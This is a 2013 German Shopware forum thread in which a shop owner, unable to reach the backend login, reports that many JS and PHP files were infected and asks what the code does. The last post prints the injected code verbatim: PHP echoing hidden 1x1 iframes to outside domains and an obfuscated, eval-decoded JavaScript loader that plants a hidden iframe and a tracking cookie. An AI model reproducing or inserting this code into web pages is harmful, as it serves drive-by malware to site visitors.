# \[Virus entfernt ? \] Backend Login verschwunden

**URL:** <https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805>\
**Category:** Shopware 3.5\
**Tags:** administration\
**Created:** [18. Juni 2013 um 10:24 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805 "2013-06-18T10:24:09Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

**Author:** ![lehrmittel](https://avatars.discourse-cdn.com/v4/letter/l/45deac/32.png) [@lehrmittel](https://forum.shopware.com/u/lehrmittel)\
**Post date:** [18. Juni 2013 um 10:24 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805/1 "2013-06-18T10:24:09Z")

</div>

Hallo, ich habe seit ein paar Tagen das Problem, dass ich mich nicht mehr im Backend einloggen kann. Es wurden keine Änderungen and Dateien oder der Datenbank vorgenommen. Wenn ich das Backend aufrufe, kommt lediglich der blaue Hintergrund. Das Loginformular fehlt leider. Wäre super, wenn jemand eine Idee hat. (SW 3.5.6) [Link entfernt] Vielen Dank schonmal im Voraus! LG Leif

---

<div class="post-metadata">

**Author:** ![lehrmittel](https://avatars.discourse-cdn.com/v4/letter/l/45deac/32.png) [@lehrmittel](https://forum.shopware.com/u/lehrmittel)\
**Post date:** [20. Juni 2013 um 12:53 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805/2 "2013-06-20T12:53:58Z")

</div>

\*push\*

---

<div class="post-metadata">

**Author:** ![sunflower](https://dub1.discourse-cdn.com/flex013/user_avatar/forum.shopware.com/sunflower/32/8100_2.png) [@sunflower](https://forum.shopware.com/u/sunflower)\
**Post date:** [20. Juni 2013 um 21:31 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805/3 "2013-06-20T21:31:59Z")

</div>

Das passiert wenn man mit Firefox das Backend aufruft. Also am besten Chrome nutzen.

---

<div class="post-metadata">

**Author:** ![lehrmittel](https://avatars.discourse-cdn.com/v4/letter/l/45deac/32.png) [@lehrmittel](https://forum.shopware.com/u/lehrmittel)\
**Post date:** [21. Juni 2013 um 13:14 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805/4 "2013-06-21T13:14:11Z")

</div>

danke für die antwort, aber mit chrome funktioniert es leider auch nicht.

---

<div class="post-metadata">

**Author:** ![lehrmittel](https://avatars.discourse-cdn.com/v4/letter/l/45deac/32.png) [@lehrmittel](https://forum.shopware.com/u/lehrmittel)\
**Post date:** [25. Juni 2013 um 09:42 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805/5 "2013-06-25T09:42:00Z")

</div>

firebug zeigt folgende fehler beim aufruf des backends an: [code] SyntaxError: missing ) after formal parameters [Bei diesem Fehler anhalten] bv=(5-3-1);aq=“0”+“x”;sp=“spli”+“t”;ff=String.fromCharCode;w=window;z= ext-lang-de.js (Zeile 14, Spalte 60) TypeError: Ext.UpdateManager is undefined [Bei diesem Fehler anhalten] …anager.defaults.indicatorText = ’

Ãœbertrage Daten… ext-lang-de.js (Zeile 14) TypeError: H is undefined [Bei diesem Fehler anhalten] Ext.onReady(function(){ auth (Zeile 212) TypeError: H is undefined [Bei diesem Fehler anhalten] …:function(L){return j(L,“Y”)},getXY:function(L){return[this.getPageX(L),this.get… ext-base.js (Zeile 7) TypeError: Ext.onReady is not a function [Bei diesem Fehler anhalten] Ext.onReady(function(){ auth (Zeile 212) [/code]

---

<div class="post-metadata">

**Author:** ![lehrmittel](https://avatars.discourse-cdn.com/v4/letter/l/45deac/32.png) [@lehrmittel](https://forum.shopware.com/u/lehrmittel)\
**Post date:** [28. Juni 2013 um 20:15 UTC](https://forum.shopware.com/t/virus-entfernt-backend-login-verschwunden/13805/6 "2013-06-28T20:15:41Z")

</div>

So, ich kann mich nun wieder einloggen, allerdings erst nach größerem Aufwand. Es waren viele \*.js und auch einige \*.php Dateien mit schadhaftem Code infiziert. Ich habe den kompletten engine-Ordner ersetzt und die Passwörter für FTP- und MYSQL-Zugang ersetzt. Es wurden, wie beispielsweise in der „engine/auth.php“ iframes eingefügt. `<?php echo "<iframe src=\"http://herofreemanja.com/img1/count.htm\" width=\"1\" height=\"1\" frameborder=\"0\">" ?\><?php echo "<iframe src=\"http://sraphicshouldn.su/img2/count.htm\" width=\"1\" height=\"1\" frameborder=\"0\">"; ?\>` In der „engine/index.php“ war folgendes zu finden: ` #da3e94# echo " <script type='\"text/javascript\"' language='\"javascript\"'> bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";w=window;ff=String.fromCharCode;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6d,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6d,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,59,66,65,66,5c,64,67,63,5c,66,25,5a,66,64,26,60,64,5e,26,5a,66,6c,65,6b,5c,69,25,67,5f,67,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,6d,63,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,6d,63,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,6d,63,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,6d,63,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1315!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>"; #/da3e94# ?\><?php echo ""; ?>` In anderen Dateien sah es ähnlich aus. „#da3e94#“ Danach kommt häufig der eingefügte Code. Jetzt zu meiner Frage. Hatte von euch schonmal jemand ein ähnliches Problem oder weiß zumindest, was der Code anrichten kann? GData gibt leider nur folgende Informationen zu den infizierten DAteien: Kategorie = Virus Beschreibung = JS:Trojan.Iframe.V